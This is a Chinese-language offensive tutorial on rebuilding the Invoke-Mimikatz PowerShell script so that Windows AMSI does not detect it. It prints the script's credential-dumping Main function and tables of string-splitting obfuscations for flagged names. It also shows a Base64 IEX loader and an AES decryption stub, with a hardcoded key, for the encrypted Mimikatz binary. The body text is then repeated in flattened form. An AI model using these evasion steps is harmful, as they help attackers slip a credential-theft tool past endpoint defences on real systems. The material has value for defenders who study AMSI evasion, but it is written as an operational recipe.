手工绕过 AMSI - 第二部分|Invoke-Mimikatz
字数 2343 2025-08-20 18:17:58

手工绕过AMSI - 第二部分:构建无触发器的Invoke-Mimikatz

0x00 介绍

本文深入探讨AMSI更深层的触发器机制,重点讲解如何构建一个没有AMSI触发器的定制版Invoke-Mimikatz脚本。文章将详细介绍Invoke-Mimikatz的工作原理,以及如何通过手动修改绕过AMSI检测。

0x01 Invoke-Mimikatz工作原理

基本构成

Invoke-Mimikatz实际上是以下两个组件的组合:

  1. Joe Bialek的Invoke-ReflectivePEInjection脚本
  2. Benjamin DELPY的Mimikatz代码

核心机制

Invoke-Mimikatz的主要功能是将Mimikatz的Base64编码二进制文件通过反射加载方式注入到当前或远程进程内存中执行。这种技术特点包括:

  • 不会在磁盘上留下文件
  • 不会在进程DLL列表中显示
  • 支持远程进程注入

主函数分析

Function Main {
    # 调试模式设置
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) {
        $DebugPreference = "Continue"
    }
    
    # 设置Mimikatz执行参数
    if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") {
        $ExeArgs = "sekurlsa::logonpasswords exit"
    }
    elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") {
        $ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
    }
    else {
        $ExeArgs = $Command
    }
    
    # 加载并执行Mimikatz
    $PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAA...' # x64版本Base64
    $PEBytes32 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAA...' # x86版本Base64
    
    if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs)
    }
    else {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName
    }
}

0x02 绕过AMSI检测的步骤

第一步:处理Invoke-ReflectivePEInjection触发器

  1. 重命名函数:将Invoke-ReflectivePEInjection改为PE-Reflect等不常见的名称
  2. 识别并修改关键触发器
原始值 修改后值
Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect Add-Member NoteProperty -Name $('Vi'+'rt'+'ual'+'Pro'+'te'+'ct') -Value $VirtualProtect
Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory Add-Member -MemberType $('No'+'te'+'Pr'+'op'+'er'+'ty') -Name $('Wr'+'ite'+'Proc'+'ess'+'Mem'+'or'+'y') -Value $WriteProcessMemory
$ProcessHandle $ProcHandle
$StartAddress $FirstAddress
-ProcessHandle -ProcHandle
-StartAddress -FirstAddress
.FileType -ieq "DLL" .FileType -ieq $('D'+'L'+'L')
  1. 编码Main函数:将Main函数内容Base64编码并通过IEX加载
IEX($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("CQBpAGYAIAAoACgAJABQAFMAQw..."))))

第二步:处理Mimikatz二进制触发器

由于Mimikatz二进制本身包含AMSI触发器,需要对其进行加密处理:

  1. 加密方法:使用AES加密算法
  2. 加密实现
$powerdecrypt = @"
using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.IO.Compression;
namespace powerdecrypt {
    public class Program {
        public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes) {
            // AES解密实现
        }
        public static byte[] Decompress(byte[] data) {
            // GZip解压实现
        }
        public static byte[] Base64_Decode(string encodedData) {
            // Base64解码实现
        }
        public static string decrypt(params string[] args) {
            // 解密主函数
        }
    }
}
"@
Add-Type -TypeDefinition $powerdecrypt
  1. 使用加密数据
$DecryptedMimix64 = [powerdecrypt.Program]::decrypt($EncryptedMimix64,"S3cur3Th1sSh1t")
$PortableExecutableBytes64 = [regex]::match($DecryptedMimix64,'(?<=#).*?(?=#)').Value

第三步:处理Invoke-Mimikatz触发器

  1. 重命名函数:将Invoke-Mimikatz改为Invoke-CustomKatz
  2. 修改关键字符串
原始值 修改后值
"sekurlsa::logonpasswords exit" 'se'+'ku'+'rl'+'sa'+'::'+'lo'+'go'+'np'+'asswor'+'ds ex'+'it'
Reflection.AssemblyName('ReflectedDelegate') Reflection.AssemblyName('Re'+'fl'+'ect'+'edD'+'ele'+'gat'+'e')
'powershell_reflective_mimikatz' $('po'+'wer'+'she'+'ll_'+'ref'+'lec'+'tiv'+'e_m'+'imi'+'ka'+'tz')
DumpCreds GetCreds
DumpCerts GetCerts
$RemoteScriptBlock $NoLocalScriptBlock
$PEBytes64 $PortableExecutableBytes64
$PEBytes32 $PortableExecutableBytes32
$PEBytes $PortableExecutableBytes
-PEBytes -PortableExecutableBytes

0x03 注意事项与结论

  1. 内存扫描问题:即使绕过AMSI,Windows Defender仍可能通过内存扫描检测到未混淆的Mimikatz
  2. 进程终止:内存扫描触发后约2秒,PowerShell进程会被终止
  3. 长期解决方案:修改Mimikatz源代码构建定制版本是更持久的解决方案

关键结论

  1. 了解工具工作原理是有效绕过的前提
  2. AMSI主要依赖签名检测,手动修改可以绕过
  3. 加密/编码敏感部分是有效的绕过技术
  4. 未来可能需要结合多种技术(AMSI绕过+内存混淆)实现持久性

通过这种方法,我们成功构建了一个不被AMSI标记的Invoke-Mimikatz版本,展示了手动修改在绕过安全检测中的有效性。

手工绕过AMSI - 第二部分:构建无触发器的Invoke-Mimikatz 0x00 介绍 本文深入探讨AMSI更深层的触发器机制,重点讲解如何构建一个没有AMSI触发器的定制版Invoke-Mimikatz脚本。文章将详细介绍Invoke-Mimikatz的工作原理,以及如何通过手动修改绕过AMSI检测。 0x01 Invoke-Mimikatz工作原理 基本构成 Invoke-Mimikatz实际上是以下两个组件的组合: Joe Bialek的Invoke-ReflectivePEInjection脚本 Benjamin DELPY的Mimikatz代码 核心机制 Invoke-Mimikatz的主要功能是将Mimikatz的Base64编码二进制文件通过反射加载方式注入到当前或远程进程内存中执行。这种技术特点包括: 不会在磁盘上留下文件 不会在进程DLL列表中显示 支持远程进程注入 主函数分析 0x02 绕过AMSI检测的步骤 第一步:处理Invoke-ReflectivePEInjection触发器 重命名函数 :将 Invoke-ReflectivePEInjection 改为 PE-Reflect 等不常见的名称 识别并修改关键触发器 : | 原始值 | 修改后值 | |--------|----------| | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect | Add-Member NoteProperty -Name $('Vi'+'rt'+'ual'+'Pro'+'te'+'ct') -Value $VirtualProtect | | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory | Add-Member -MemberType $('No'+'te'+'Pr'+'op'+'er'+'ty') -Name $('Wr'+'ite'+'Proc'+'ess'+'Mem'+'or'+'y') -Value $WriteProcessMemory | | $ProcessHandle | $ProcHandle | | $StartAddress | $FirstAddress | | -ProcessHandle | -ProcHandle | | -StartAddress | -FirstAddress | | .FileType -ieq "DLL" | .FileType -ieq $('D'+'L'+'L') | 编码Main函数 :将Main函数内容Base64编码并通过IEX加载 第二步:处理Mimikatz二进制触发器 由于Mimikatz二进制本身包含AMSI触发器,需要对其进行加密处理: 加密方法 :使用AES加密算法 加密实现 : 使用加密数据 : 第三步:处理Invoke-Mimikatz触发器 重命名函数 :将 Invoke-Mimikatz 改为 Invoke-CustomKatz 修改关键字符串 : | 原始值 | 修改后值 | |--------|----------| | "sekurlsa::logonpasswords exit" | 'se'+'ku'+'rl'+'sa'+'::'+'lo'+'go'+'np'+'asswor'+'ds ex'+'it' | | Reflection.AssemblyName('ReflectedDelegate') | Reflection.AssemblyName('Re'+'fl'+'ect'+'edD'+'ele'+'gat'+'e') | | 'powershell_reflective_mimikatz' | $('po'+'wer'+'she'+'ll_'+'ref'+'lec'+'tiv'+'e_m'+'imi'+'ka'+'tz') | | DumpCreds | GetCreds | | DumpCerts | GetCerts | | $RemoteScriptBlock | $NoLocalScriptBlock | | $PEBytes64 | $PortableExecutableBytes64 | | $PEBytes32 | $PortableExecutableBytes32 | | $PEBytes | $PortableExecutableBytes | | -PEBytes | -PortableExecutableBytes | 0x03 注意事项与结论 内存扫描问题 :即使绕过AMSI,Windows Defender仍可能通过内存扫描检测到未混淆的Mimikatz 进程终止 :内存扫描触发后约2秒,PowerShell进程会被终止 长期解决方案 :修改Mimikatz源代码构建定制版本是更持久的解决方案 关键结论 了解工具工作原理是有效绕过的前提 AMSI主要依赖签名检测,手动修改可以绕过 加密/编码敏感部分是有效的绕过技术 未来可能需要结合多种技术(AMSI绕过+内存混淆)实现持久性 通过这种方法,我们成功构建了一个不被AMSI标记的Invoke-Mimikatz版本,展示了手动修改在绕过安全检测中的有效性。